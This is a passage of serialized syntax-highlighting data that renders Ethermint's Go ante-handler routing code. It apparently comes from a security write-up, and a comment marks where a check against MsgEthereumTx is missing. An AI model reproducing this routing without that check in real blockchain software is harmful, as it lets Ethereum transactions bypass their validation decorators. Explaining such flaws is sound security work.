\"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n // handle as *evmtypes.MsgEthereumTx\n\n anteHandler = sdk.ChainAnteDecorators(\n NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n )\n\n default:\n return ctx, stacktrace.Propagate(\n sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n \"rejecting tx with unsupported extension option\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n }\n\n // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n switch tx.(type) {\n case sdk.Tx:\n anteHandler = sdk.ChainAnteDecorators(\n authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n )\n default:\n return ctx, stacktrace.Propagate(\n sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n \"transaction is not an SDK tx\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n}\n",[81092],{"type":24,"tag":154,"props":81093,"children":81094},{"__ignoreMap":7},[81095,81111,81136,81160,81177,81202,81228,81253,81276,81292,81348,81389,81415,81422,81468,81475,81521,81537,81567,81602,81654,81671,81679,81686,81715,81731,81739,81765,81773,81780,81792,81826,81872,81884,81891,81898,81905,81944,81951,81958,81965,81973,81980,82004,82028,82056,82081,82089,82122,82129,82141,82172,82227,82240,82248,82256,82264,82304,82312],{"type":24,"tag":158,"props":81096,"children":81097},{"class":160,"line":161},[81098,81102,81107],{"type":24,"tag":158,"props":81099,"children":81100},{"style":165},[81101],{"type":29,"value":77578},{"type":24,"tag":158,"props":81103,"children":81104},{"style":496},[81105],{"type":29,"value":81106}," NewAnteHandler",{"type":24,"tag":158,"props":81108,"children":81109},{"style":188},[81110],{"type":29,"value":2156},{"type":24,"tag":158,"props":81112,"children":81113},{"class":160,"line":213},[81114,81119,81124,81128,81132],{"type":24,"tag":158,"props":81115,"children":81116},{"style":177},[81117],{"type":29,"value":81118}," ak",{"type":24,"tag":158,"props":81120,"children":81121},{"style":171},[81122],{"type":29,"value":81123}," evmtypes",{"type":24,"tag":158,"props":81125,"children":81126},{"style":188},[81127],{"type":29,"value":347},{"type":24,"tag":158,"props":81129,"children":81130},{"style":171},[81131],{"type":29,"value":80659},{"type":24,"tag":158,"props":81133,"children":81134},{"style":188},[81135],{"type":29,"value":235},{"type":24,"tag":158,"props":81137,"children":81138},{"class":160,"line":238},[81139,81144,81148,81152,81156],{"type":24,"tag":158,"props":81140,"children":81141},{"style":177},[81142],{"type":29,"value":81143}," bankKeeper",{"type":24,"tag":158,"props":81145,"children":81146},{"style":171},[81147],{"type":29,"value":81123},{"type":24,"tag":158,"props":81149,"children":81150},{"style":188},[81151],{"type":29,"value":347},{"type":24,"tag":158,"props":81153,"children":81154},{"style":171},[81155],{"type":29,"value":80732},{"type":24,"tag":158,"props":81157,"children":81158},{"style":188},[81159],{"type":29,"value":235},{"type":24,"tag":158,"props":81161,"children":81162},{"class":160,"line":259},[81163,81168,81173],{"type":24,"tag":158,"props":81164,"children":81165},{"style":177},[81166],{"type":29,"value":81167}," evmKeeper",{"type":24,"tag":158,"props":81169,"children":81170},{"style":171},[81171],{"type":29,"value":81172}," EVMKeeper",{"type":24,"tag":158,"props":81174,"children":81175},{"style":188},[81176],{"type":29,"value":235},{"type":24,"tag":158,"props":81178,"children":81179},{"class":160,"line":280},[81180,81185,81190,81194,81198],{"type":24,"tag":158,"props":81181,"children":81182},{"style":177},[81183],{"type":29,"value":81184}," feeGrantKeeper",{"type":24,"tag":158,"props":81186,"children":81187},{"style":171},[81188],{"type":29,"value":81189}," authante",{"type":24,"tag":158,"props":81191,"children":81192},{"style":188},[81193],{"type":29,"value":347},{"type":24,"tag":158,"props":81195,"children":81196},{"style":171},[81197],{"type":29,"value":80749},{"type":24,"tag":158,"props":81199,"children":81200},{"style":188},[81201],{"type":29,"value":235},{"type":24,"tag":158,"props":81203,"children":81204},{"class":160,"line":301},[81205,81210,81215,81219,81224],{"type":24,"tag":158,"props":81206,"children":81207},{"style":177},[81208],{"type":29,"value":81209}," channelKeeper",{"type":24,"tag":158,"props":81211,"children":81212},{"style":171},[81213],{"type":29,"value":81214}," channelkeeper",{"type":24,"tag":158,"props":81216,"children":81217},{"style":188},[81218],{"type":29,"value":347},{"type":24,"tag":158,"props":81220,"children":81221},{"style":171},[81222],{"type":29,"value":81223},"Keeper",{"type":24,"tag":158,"props":81225,"children":81226},{"style":188},[81227],{"type":29,"value":235},{"type":24,"tag":158,"props":81229,"children":81230},{"class":160,"line":626},[81231,81236,81241,81245,81249],{"type":24,"tag":158,"props":81232,"children":81233},{"style":177},[81234],{"type":29,"value":81235}," signModeHandler",{"type":24,"tag":158,"props":81237,"children":81238},{"style":171},[81239],{"type":29,"value":81240}," authsigning",{"type":24,"tag":158,"props":81242,"children":81243},{"style":188},[81244],{"type":29,"value":347},{"type":24,"tag":158,"props":81246,"children":81247},{"style":171},[81248],{"type":29,"value":80917},{"type":24,"tag":158,"props":81250,"children":81251},{"style":188},[81252],{"type":29,"value":235},{"type":24,"tag":158,"props":81254,"children":81255},{"class":160,"line":668},[81256,81260,81264,81268,81272],{"type":24,"tag":158,"props":81257,"children":81258},{"style":188},[81259],{"type":29,"value":723},{"type":24,"tag":158,"props":81261,"children":81262},{"style":171},[81263],{"type":29,"value":80008},{"type":24,"tag":158,"props":81265,"children":81266},{"style":188},[81267],{"type":29,"value":347},{"type":24,"tag":158,"props":81269,"children":81270},{"style":171},[81271],{"type":29,"value":79748},{"type":24,"tag":158,"props":81273,"children":81274},{"style":188},[81275],{"type":29,"value":210},{"type":24,"tag":158,"props":81277,"children":81278},{"class":160,"line":676},[81279,81283,81288],{"type":24,"tag":158,"props":81280,"children":81281},{"style":1914},[81282],{"type":29,"value":18227},{"type":24,"tag":158,"props":81284,"children":81285},{"style":165},[81286],{"type":29,"value":81287}," func",{"type":24,"tag":158,"props":81289,"children":81290},{"style":188},[81291],{"type":29,"value":2156},{"type":24,"tag":158,"props":81293,"children":81294},{"class":160,"line":684},[81295,81299,81303,81307,81311,81315,81319,81323,81327,81331,81335,81340,81344],{"type":24,"tag":158,"props":81296,"children":81297},{"style":177},[81298],{"type":29,"value":27443},{"type":24,"tag":158,"props":81300,"children":81301},{"style":171},[81302],{"type":29,"value":79919},{"type":24,"tag":158,"props":81304,"children":81305},{"style":188},[81306],{"type":29,"value":347},{"type":24,"tag":158,"props":81308,"children":81309},{"style":171},[81310],{"type":29,"value":77627},{"type":24,"tag":158,"props":81312,"children":81313},{"style":188},[81314],{"type":29,"value":191},{"type":24,"tag":158,"props":81316,"children":81317},{"style":177},[81318],{"type":29,"value":80459},{"type":24,"tag":158,"props":81320,"children":81321},{"style":171},[81322],{"type":29,"value":79919},{"type":24,"tag":158,"props":81324,"children":81325},{"style":188},[81326],{"type":29,"value":347},{"type":24,"tag":158,"props":81328,"children":81329},{"style":171},[81330],{"type":29,"value":79952},{"type":24,"tag":158,"props":81332,"children":81333},{"style":188},[81334],{"type":29,"value":191},{"type":24,"tag":158,"props":81336,"children":81337},{"style":177},[81338],{"type":29,"value":81339},"sim",{"type":24,"tag":158,"props":81341,"children":81342},{"style":171},[81343],{"type":29,"value":2928},{"type":24,"tag":158,"props":81345,"children":81346},{"style":188},[81347],{"type":29,"value":235},{"type":24,"tag":158,"props":81349,"children":81350},{"class":160,"line":700},[81351,81356,81361,81365,81369,81373,81377,81381,81385],{"type":24,"tag":158,"props":81352,"children":81353},{"style":188},[81354],{"type":29,"value":81355}," ) (",{"type":24,"tag":158,"props":81357,"children":81358},{"style":177},[81359],{"type":29,"value":81360},"newCtx",{"type":24,"tag":158,"props":81362,"children":81363},{"style":171},[81364],{"type":29,"value":79919},{"type":24,"tag":158,"props":81366,"children":81367},{"style":188},[81368],{"type":29,"value":347},{"type":24,"tag":158,"props":81370,"children":81371},{"style":171},[81372],{"type":29,"value":77627},{"type":24,"tag":158,"props":81374,"children":81375},{"style":188},[81376],{"type":29,"value":191},{"type":24,"tag":158,"props":81378,"children":81379},{"style":177},[81380],{"type":29,"value":49691},{"type":24,"tag":158,"props":81382,"children":81383},{"style":171},[81384],{"type":29,"value":16111},{"type":24,"tag":158,"props":81386,"children":81387},{"style":188},[81388],{"type":29,"value":16038},{"type":24,"tag":158,"props":81390,"children":81391},{"class":160,"line":785},[81392,81397,81402,81406,81410],{"type":24,"tag":158,"props":81393,"children":81394},{"style":165},[81395],{"type":29,"value":81396}," var",{"type":24,"tag":158,"props":81398,"children":81399},{"style":177},[81400],{"type":29,"value":81401}," anteHandler",{"type":24,"tag":158,"props":81403,"children":81404},{"style":171},[81405],{"type":29,"value":79919},{"type":24,"tag":158,"props":81407,"children":81408},{"style":188},[81409],{"type":29,"value":347},{"type":24,"tag":158,"props":81411,"children":81412},{"style":171},[81413],{"type":29,"value":81414},"AnteHandler\n",{"type":24,"tag":158,"props":81416,"children":81417},{"class":160,"line":1447},[81418],{"type":24,"tag":158,"props":81419,"children":81420},{"emptyLinePlaceholder":16},[81421],{"type":29,"value":481},{"type":24,"tag":158,"props":81423,"children":81424},{"class":160,"line":1509},[81425,81430,81435,81439,81443,81447,81452,81456,81460,81464],{"type":24,"tag":158,"props":81426,"children":81427},{"style":1914},[81428],{"type":29,"value":81429}," defer",{"type":24,"tag":158,"props":81431,"children":81432},{"style":496},[81433],{"type":29,"value":81434}," Recover",{"type":24,"tag":158,"props":81436,"children":81437},{"style":188},[81438],{"type":29,"value":504},{"type":24,"tag":158,"props":81440,"children":81441},{"style":177},[81442],{"type":29,"value":21524},{"type":24,"tag":158,"props":81444,"children":81445},{"style":188},[81446],{"type":29,"value":347},{"type":24,"tag":158,"props":81448,"children":81449},{"style":496},[81450],{"type":29,"value":81451},"Logger",{"type":24,"tag":158,"props":81453,"children":81454},{"style":188},[81455],{"type":29,"value":19615},{"type":24,"tag":158,"props":81457,"children":81458},{"style":222},[81459],{"type":29,"value":2212},{"type":24,"tag":158,"props":81461,"children":81462},{"style":177},[81463],{"type":29,"value":49691},{"type":24,"tag":158,"props":81465,"children":81466},{"style":188},[81467],{"type":29,"value":2125},{"type":24,"tag":158,"props":81469,"children":81470},{"class":160,"line":1527},[81471],{"type":24,"tag":158,"props":81472,"children":81473},{"emptyLinePlaceholder":16},[81474],{"type":29,"value":481},{"type":24,"tag":158,"props":81476,"children":81477},{"class":160,"line":1545},[81478,81483,81487,81491,81495,81499,81503,81508,81512,81517],{"type":24,"tag":158,"props":81479,"children":81480},{"style":177},[81481],{"type":29,"value":81482}," txWithExtensions",{"type":24,"tag":158,"props":81484,"children":81485},{"style":188},[81486],{"type":29,"value":191},{"type":24,"tag":158,"props":81488,"children":81489},{"style":177},[81490],{"type":29,"value":80045},{"type":24,"tag":158,"props":81492,"children":81493},{"style":222},[81494],{"type":29,"value":77694},{"type":24,"tag":158,"props":81496,"children":81497},{"style":177},[81498],{"type":29,"value":69303},{"type":24,"tag":158,"props":81500,"children":81501},{"style":188},[81502],{"type":29,"value":80058},{"type":24,"tag":158,"props":81504,"children":81505},{"style":171},[81506],{"type":29,"value":81507},"authante",{"type":24,"tag":158,"props":81509,"children":81510},{"style":188},[81511],{"type":29,"value":347},{"type":24,"tag":158,"props":81513,"children":81514},{"style":171},[81515],{"type":29,"value":81516},"HasExtensionOptionsTx",{"type":24,"tag":158,"props":81518,"children":81519},{"style":188},[81520],{"type":29,"value":2125},{"type":24,"tag":158,"props":81522,"children":81523},{"class":160,"line":1618},[81524,81528,81533],{"type":24,"tag":158,"props":81525,"children":81526},{"style":1914},[81527],{"type":29,"value":4936},{"type":24,"tag":158,"props":81529,"children":81530},{"style":177},[81531],{"type":29,"value":81532}," ok",{"type":24,"tag":158,"props":81534,"children":81535},{"style":188},[81536],{"type":29,"value":210},{"type":24,"tag":158,"props":81538,"children":81539},{"class":160,"line":1635},[81540,81545,81549,81554,81558,81563],{"type":24,"tag":158,"props":81541,"children":81542},{"style":177},[81543],{"type":29,"value":81544}," opts",{"type":24,"tag":158,"props":81546,"children":81547},{"style":222},[81548],{"type":29,"value":77694},{"type":24,"tag":158,"props":81550,"children":81551},{"style":177},[81552],{"type":29,"value":81553}," txWithExtensions",{"type":24,"tag":158,"props":81555,"children":81556},{"style":188},[81557],{"type":29,"value":347},{"type":24,"tag":158,"props":81559,"children":81560},{"style":496},[81561],{"type":29,"value":81562},"GetExtensionOptions",{"type":24,"tag":158,"props":81564,"children":81565},{"style":188},[81566],{"type":29,"value":9376},{"type":24,"tag":158,"props":81568,"children":81569},{"class":160,"line":1644},[81570,81574,81578,81582,81586,81590,81594,81598],{"type":24,"tag":158,"props":81571,"children":81572},{"style":1914},[81573],{"type":29,"value":60074},{"type":24,"tag":158,"props":81575,"children":81576},{"style":496},[81577],{"type":29,"value":1947},{"type":24,"tag":158,"props":81579,"children":81580},{"style":188},[81581],{"type":29,"value":504},{"type":24,"tag":158,"props":81583,"children":81584},{"style":177},[81585],{"type":29,"value":49833},{"type":24,"tag":158,"props":81587,"children":81588},{"style":188},[81589],{"type":29,"value":723},{"type":24,"tag":158,"props":81591,"children":81592},{"style":222},[81593],{"type":29,"value":1280},{"type":24,"tag":158,"props":81595,"children":81596},{"style":465},[81597],{"type":29,"value":2025},{"type":24,"tag":158,"props":81599,"children":81600},{"style":188},[81601],{"type":29,"value":210},{"type":24,"tag":158,"props":81603,"children":81604},{"class":160,"line":1652},[81605,81610,81615,81619,81624,81628,81632,81636,81641,81645,81650],{"type":24,"tag":158,"props":81606,"children":81607},{"style":1914},[81608],{"type":29,"value":81609}," switch",{"type":24,"tag":158,"props":81611,"children":81612},{"style":177},[81613],{"type":29,"value":81614}," typeURL",{"type":24,"tag":158,"props":81616,"children":81617},{"style":222},[81618],{"type":29,"value":77694},{"type":24,"tag":158,"props":81620,"children":81621},{"style":177},[81622],{"type":29,"value":81623}," opts",{"type":24,"tag":158,"props":81625,"children":81626},{"style":188},[81627],{"type":29,"value":2048},{"type":24,"tag":158,"props":81629,"children":81630},{"style":465},[81631],{"type":29,"value":5682},{"type":24,"tag":158,"props":81633,"children":81634},{"style":188},[81635],{"type":29,"value":51620},{"type":24,"tag":158,"props":81637,"children":81638},{"style":496},[81639],{"type":29,"value":81640},"GetTypeUrl",{"type":24,"tag":158,"props":81642,"children":81643},{"style":188},[81644],{"type":29,"value":29706},{"type":24,"tag":158,"props":81646,"children":81647},{"style":177},[81648],{"type":29,"value":81649},"typeURL",{"type":24,"tag":158,"props":81651,"children":81652},{"style":188},[81653],{"type":29,"value":210},{"type":24,"tag":158,"props":81655,"children":81656},{"class":160,"line":1704},[81657,81662,81667],{"type":24,"tag":158,"props":81658,"children":81659},{"style":1914},[81660],{"type":29,"value":81661}," case",{"type":24,"tag":158,"props":81663,"children":81664},{"style":1108},[81665],{"type":29,"value":81666}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":24,"tag":158,"props":81668,"children":81669},{"style":188},[81670],{"type":29,"value":7222},{"type":24,"tag":158,"props":81672,"children":81673},{"class":160,"line":1713},[81674],{"type":24,"tag":158,"props":81675,"children":81676},{"style":2588},[81677],{"type":29,"value":81678}," // handle as *evmtypes.MsgEthereumTx\n",{"type":24,"tag":158,"props":81680,"children":81681},{"class":160,"line":1731},[81682],{"type":24,"tag":158,"props":81683,"children":81684},{"emptyLinePlaceholder":16},[81685],{"type":29,"value":481},{"type":24,"tag":158,"props":81687,"children":81688},{"class":160,"line":5485},[81689,81694,81698,81702,81706,81711],{"type":24,"tag":158,"props":81690,"children":81691},{"style":177},[81692],{"type":29,"value":81693}," anteHandler",{"type":24,"tag":158,"props":81695,"children":81696},{"style":222},[81697],{"type":29,"value":462},{"type":24,"tag":158,"props":81699,"children":81700},{"style":177},[81701],{"type":29,"value":79919},{"type":24,"tag":158,"props":81703,"children":81704},{"style":188},[81705],{"type":29,"value":347},{"type":24,"tag":158,"props":81707,"children":81708},{"style":496},[81709],{"type":29,"value":81710},"ChainAnteDecorators",{"type":24,"tag":158,"props":81712,"children":81713},{"style":188},[81714],{"type":29,"value":2156},{"type":24,"tag":158,"props":81716,"children":81717},{"class":160,"line":5493},[81718,81723,81727],{"type":24,"tag":158,"props":81719,"children":81720},{"style":496},[81721],{"type":29,"value":81722}," NewEthSetUpContextDecorator",{"type":24,"tag":158,"props":81724,"children":81725},{"style":188},[81726],{"type":29,"value":19615},{"type":24,"tag":158,"props":81728,"children":81729},{"style":2588},[81730],{"type":29,"value":80573},{"type":24,"tag":158,"props":81732,"children":81733},{"class":160,"line":5553},[81734],{"type":24,"tag":158,"props":81735,"children":81736},{"style":222},[81737],{"type":29,"value":81738}," ...\n",{"type":24,"tag":158,"props":81740,"children":81741},{"class":160,"line":10636},[81742,81747,81751,81756,81760],{"type":24,"tag":158,"props":81743,"children":81744},{"style":496},[81745],{"type":29,"value":81746}," NewEthIncrementSenderSequenceDecorator",{"type":24,"tag":158,"props":81748,"children":81749},{"style":188},[81750],{"type":29,"value":504},{"type":24,"tag":158,"props":81752,"children":81753},{"style":177},[81754],{"type":29,"value":81755},"ak",{"type":24,"tag":158,"props":81757,"children":81758},{"style":188},[81759],{"type":29,"value":16412},{"type":24,"tag":158,"props":81761,"children":81762},{"style":2588},[81763],{"type":29,"value":81764},"// innermost AnteDecorator.\n",{"type":24,"tag":158,"props":81766,"children":81767},{"class":160,"line":10652},[81768],{"type":24,"tag":158,"props":81769,"children":81770},{"style":188},[81771],{"type":29,"value":81772}," )\n",{"type":24,"tag":158,"props":81774,"children":81775},{"class":160,"line":10696},[81776],{"type":24,"tag":158,"props":81777,"children":81778},{"emptyLinePlaceholder":16},[81779],{"type":29,"value":481},{"type":24,"tag":158,"props":81781,"children":81782},{"class":160,"line":10801},[81783,81788],{"type":24,"tag":158,"props":81784,"children":81785},{"style":1914},[81786],{"type":29,"value":81787}," default",{"type":24,"tag":158,"props":81789,"children":81790},{"style":188},[81791],{"type":29,"value":7222},{"type":24,"tag":158,"props":81793,"children":81794},{"class":160,"line":24754},[81795,81800,81804,81808,81813,81817,81822],{"type":24,"tag":158,"props":81796,"children":81797},{"style":1914},[81798],{"type":29,"value":81799}," return",{"type":24,"tag":158,"props":81801,"children":81802},{"style":177},[81803],{"type":29,"value":27100},{"type":24,"tag":158,"props":81805,"children":81806},{"style":188},[81807],{"type":29,"value":191},{"type":24,"tag":158,"props":81809,"children":81810},{"style":177},[81811],{"type":29,"value":81812},"stacktrace",{"type":24,"tag":158,"props":81814,"children":81815},{"style":188},[81816],{"type":29,"value":347},{"type":24,"tag":158,"props":81818,"children":81819},{"style":496},[81820],{"type":29,"value":81821},"Propagate",{"type":24,"tag":158,"props":81823,"children":81824},{"style":188},[81825],{"type":29,"value":2156},{"type":24,"tag":158,"props":81827,"children":81828},{"class":160,"line":24789},[81829,81834,81838,81842,81846,81851,81855,81860,81864,81868],{"type":24,"tag":158,"props":81830,"children":81831},{"style":177},[81832],{"type":29,"value":81833}," sdkerrors",{"type":24,"tag":158,"props":81835,"children":81836},{"style":188},[81837],{"type":29,"value":347},{"type":24,"tag":158,"props":81839,"children":81840},{"style":496},[81841],{"type":29,"value":80124},{"type":24,"tag":158,"props":81843,"children":81844},{"style":188},[81845],{"type":29,"value":504},{"type":24,"tag":158,"props":81847,"children":81848},{"style":177},[81849],{"type":29,"value":81850},"sdkerrors",{"type":24,"tag":158,"props":81852,"children":81853},{"style":188},[81854],{"type":29,"value":347},{"type":24,"tag":158,"props":81856,"children":81857},{"style":177},[81858],{"type":29,"value":81859},"ErrUnknownExtensionOptions",{"type":24,"tag":158,"props":81861,"children":81862},{"style":188},[81863],{"type":29,"value":191},{"type":24,"tag":158,"props":81865,"children":81866},{"style":177},[81867],{"type":29,"value":81649},{"type":24,"tag":158,"props":81869,"children":81870},{"style":188},[81871],{"type":29,"value":8382},{"type":24,"tag":158,"props":81873,"children":81874},{"class":160,"line":24797},[81875,81880],{"type":24,"tag":158,"props":81876,"children":81877},{"style":1108},[81878],{"type":29,"value":81879}," \"rejecting tx with unsupported extension option\"",{"type":24,"tag":158,"props":81881,"children":81882},{"style":188},[81883],{"type":29,"value":235},{"type":24,"tag":158,"props":81885,"children":81886},{"class":160,"line":24805},[81887],{"type":24,"tag":158,"props":81888,"children":81889},{"style":188},[81890],{"type":29,"value":81772},{"type":24,"tag":158,"props":81892,"children":81893},{"class":160,"line":24814},[81894],{"type":24,"tag":158,"props":81895,"children":81896},{"style":188},[81897],{"type":29,"value":72347},{"type":24,"tag":158,"props":81899,"children":81900},{"class":160,"line":24856},[81901],{"type":24,"tag":158,"props":81902,"children":81903},{"emptyLinePlaceholder":16},[81904],{"type":29,"value":481},{"type":24,"tag":158,"props":81906,"children":81907},{"class":160,"line":24889},[81908,81912,81916,81920,81924,81928,81932,81936,81940],{"type":24,"tag":158,"props":81909,"children":81910},{"style":1914},[81911],{"type":29,"value":62002},{"type":24,"tag":158,"props":81913,"children":81914},{"style":496},[81915],{"type":29,"value":81401},{"type":24,"tag":158,"props":81917,"children":81918},{"style":188},[81919],{"type":29,"value":504},{"type":24,"tag":158,"props":81921,"children":81922},{"style":177},[81923],{"type":29,"value":21524},{"type":24,"tag":158,"props":81925,"children":81926},{"style":188},[81927],{"type":29,"value":191},{"type":24,"tag":158,"props":81929,"children":81930},{"style":177},[81931],{"type":29,"value":80459},{"type":24,"tag":158,"props":81933,"children":81934},{"style":188},[81935],{"type":29,"value":191},{"type":24,"tag":158,"props":81937,"children":81938},{"style":177},[81939],{"type":29,"value":81339},{"type":24,"tag":158,"props":81941,"children":81942},{"style":188},[81943],{"type":29,"value":2125},{"type":24,"tag":158,"props":81945,"children":81946},{"class":160,"line":24897},[81947],{"type":24,"tag":158,"props":81948,"children":81949},{"style":188},[81950],{"type":29,"value":60158},{"type":24,"tag":158,"props":81952,"children":81953},{"class":160,"line":24905},[81954],{"type":24,"tag":158,"props":81955,"children":81956},{"style":188},[81957],{"type":29,"value":5010},{"type":24,"tag":158,"props":81959,"children":81960},{"class":160,"line":24914},[81961],{"type":24,"tag":158,"props":81962,"children":81963},{"emptyLinePlaceholder":16},[81964],{"type":29,"value":481},{"type":24,"tag":158,"props":81966,"children":81967},{"class":160,"line":24990},[81968],{"type":24,"tag":158,"props":81969,"children":81970},{"style":2588},[81971],{"type":29,"value":81972}," // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":24,"tag":158,"props":81974,"children":81975},{"class":160,"line":25023},[81976],{"type":24,"tag":158,"props":81977,"children":81978},{"emptyLinePlaceholder":16},[81979],{"type":29,"value":481},{"type":24,"tag":158,"props":81981,"children":81982},{"class":160,"line":25031},[81983,81988,81992,81996,82000],{"type":24,"tag":158,"props":81984,"children":81985},{"style":1914},[81986],{"type":29,"value":81987}," switch",{"type":24,"tag":158,"props":81989,"children":81990},{"style":177},[81991],{"type":29,"value":69303},{"type":24,"tag":158,"props":81993,"children":81994},{"style":188},[81995],{"type":29,"value":80058},{"type":24,"tag":158,"props":81997,"children":81998},{"style":165},[81999],{"type":29,"value":34018},{"type":24,"tag":158,"props":82001,"children":82002},{"style":188},[82003],{"type":29,"value":16038},{"type":24,"tag":158,"props":82005,"children":82006},{"class":160,"line":25039},[82007,82012,82016,82020,82024],{"type":24,"tag":158,"props":82008,"children":82009},{"style":1914},[82010],{"type":29,"value":82011}," case",{"type":24,"tag":158,"props":82013,"children":82014},{"style":171},[82015],{"type":29,"value":79919},{"type":24,"tag":158,"props":82017,"children":82018},{"style":188},[82019],{"type":29,"value":347},{"type":24,"tag":158,"props":82021,"children":82022},{"style":171},[82023],{"type":29,"value":79952},{"type":24,"tag":158,"props":82025,"children":82026},{"style":188},[82027],{"type":29,"value":7222},{"type":24,"tag":158,"props":82029,"children":82030},{"class":160,"line":25076},[82031,82036,82040,82044,82048,82052],{"type":24,"tag":158,"props":82032,"children":82033},{"style":177},[82034],{"type":29,"value":82035}," anteHandler",{"type":24,"tag":158,"props":82037,"children":82038},{"style":222},[82039],{"type":29,"value":462},{"type":24,"tag":158,"props":82041,"children":82042},{"style":177},[82043],{"type":29,"value":79919},{"type":24,"tag":158,"props":82045,"children":82046},{"style":188},[82047],{"type":29,"value":347},{"type":24,"tag":158,"props":82049,"children":82050},{"style":496},[82051],{"type":29,"value":81710},{"type":24,"tag":158,"props":82053,"children":82054},{"style":188},[82055],{"type":29,"value":2156},{"type":24,"tag":158,"props":82057,"children":82058},{"class":160,"line":25089},[82059,82064,82068,82073,82077],{"type":24,"tag":158,"props":82060,"children":82061},{"style":177},[82062],{"type":29,"value":82063}," authante",{"type":24,"tag":158,"props":82065,"children":82066},{"style":188},[82067],{"type":29,"value":347},{"type":24,"tag":158,"props":82069,"children":82070},{"style":496},[82071],{"type":29,"value":82072},"NewSetUpContextDecorator",{"type":24,"tag":158,"props":82074,"children":82075},{"style":188},[82076],{"type":29,"value":19615},{"type":24,"tag":158,"props":82078,"children":82079},{"style":2588},[82080],{"type":29,"value":80573},{"type":24,"tag":158,"props":82082,"children":82083},{"class":160,"line":25102},[82084],{"type":24,"tag":158,"props":82085,"children":82086},{"style":222},[82087],{"type":29,"value":82088}," ...\n",{"type":24,"tag":158,"props":82090,"children":82091},{"class":160,"line":25115},[82092,82096,82100,82105,82109,82113,82117],{"type":24,"tag":158,"props":82093,"children":82094},{"style":177},[82095],{"type":29,"value":82063},{"type":24,"tag":158,"props":82097,"children":82098},{"style":188},[82099],{"type":29,"value":347},{"type":24,"tag":158,"props":82101,"children":82102},{"style":496},[82103],{"type":29,"value":82104},"NewIncrementSequenceDecorator",{"type":24,"tag":158,"props":82106,"children":82107},{"style":188},[82108],{"type":29,"value":504},{"type":24,"tag":158,"props":82110,"children":82111},{"style":177},[82112],{"type":29,"value":81755},{"type":24,"tag":158,"props":82114,"children":82115},{"style":188},[82116],{"type":29,"value":16412},{"type":24,"tag":158,"props":82118,"children":82119},{"style":2588},[82120],{"type":29,"value":82121},"// innermost AnteDecorator\n",{"type":24,"tag":158,"props":82123,"children":82124},{"class":160,"line":25169},[82125],{"type":24,"tag":158,"props":82126,"children":82127},{"style":188},[82128],{"type":29,"value":78793},{"type":24,"tag":158,"props":82130,"children":82131},{"class":160,"line":25178},[82132,82137],{"type":24,"tag":158,"props":82133,"children":82134},{"style":1914},[82135],{"type":29,"value":82136}," default",{"type":24,"tag":158,"props":82138,"children":82139},{"style":188},[82140],{"type":29,"value":7222},{"type":24,"tag":158,"props":82142,"children":82143},{"class":160,"line":33542},[82144,82148,82152,82156,82160,82164,82168],{"type":24,"tag":158,"props":82145,"children":82146},{"style":1914},[82147],{"type":29,"value":80354},{"type":24,"tag":158,"props":82149,"children":82150},{"style":177},[82151],{"type":29,"value":27100},{"type":24,"tag":158,"props":82153,"children":82154},{"style":188},[82155],{"type":29,"value":191},{"type":24,"tag":158,"props":82157,"children":82158},{"style":177},[82159],{"type":29,"value":81812},{"type":24,"tag":158,"props":82161,"children":82162},{"style":188},[82163],{"type":29,"value":347},{"type":24,"tag":158,"props":82165,"children":82166},{"style":496},[82167],{"type":29,"value":81821},{"type":24,"tag":158,"props":82169,"children":82170},{"style":188},[82171],{"type":29,"value":2156},{"type":24,"tag":158,"props":82173,"children":82174},{"class":160,"line":33563},[82175,82180,82184,82189,82193,82197,82201,82206,82210,82215,82219,82223],{"type":24,"tag":158,"props":82176,"children":82177},{"style":177},[82178],{"type":29,"value":82179}," sdkerrors",{"type":24,"tag":158,"props":82181,"children":82182},{"style":188},[82183],{"type":29,"value":347},{"type":24,"tag":158,"props":82185,"children":82186},{"style":496},[82187],{"type":29,"value":82188},"Wrapf",{"type":24,"tag":158,"props":82190,"children":82191},{"style":188},[82192],{"type":29,"value":504},{"type":24,"tag":158,"props":82194,"children":82195},{"style":177},[82196],{"type":29,"value":81850},{"type":24,"tag":158,"props":82198,"children":82199},{"style":188},[82200],{"type":29,"value":347},{"type":24,"tag":158,"props":82202,"children":82203},{"style":177},[82204],{"type":29,"value":82205},"ErrUnknownRequest",{"type":24,"tag":158,"props":82207,"children":82208},{"style":188},[82209],{"type":29,"value":191},{"type":24,"tag":158,"props":82211,"children":82212},{"style":1108},[82213],{"type":29,"value":82214},"\"invalid transaction type: %T\"",{"type":24,"tag":158,"props":82216,"children":82217},{"style":188},[82218],{"type":29,"value":191},{"type":24,"tag":158,"props":82220,"children":82221},{"style":177},[82222],{"type":29,"value":80459},{"type":24,"tag":158,"props":82224,"children":82225},{"style":188},[82226],{"type":29,"value":8382},{"type":24,"tag":158,"props":82228,"children":82230},{"class":160,"line":82229},53,[82231,82236],{"type":24,"tag":158,"props":82232,"children":82233},{"style":1108},[82234],{"type":29,"value":82235}," \"transaction is not an SDK 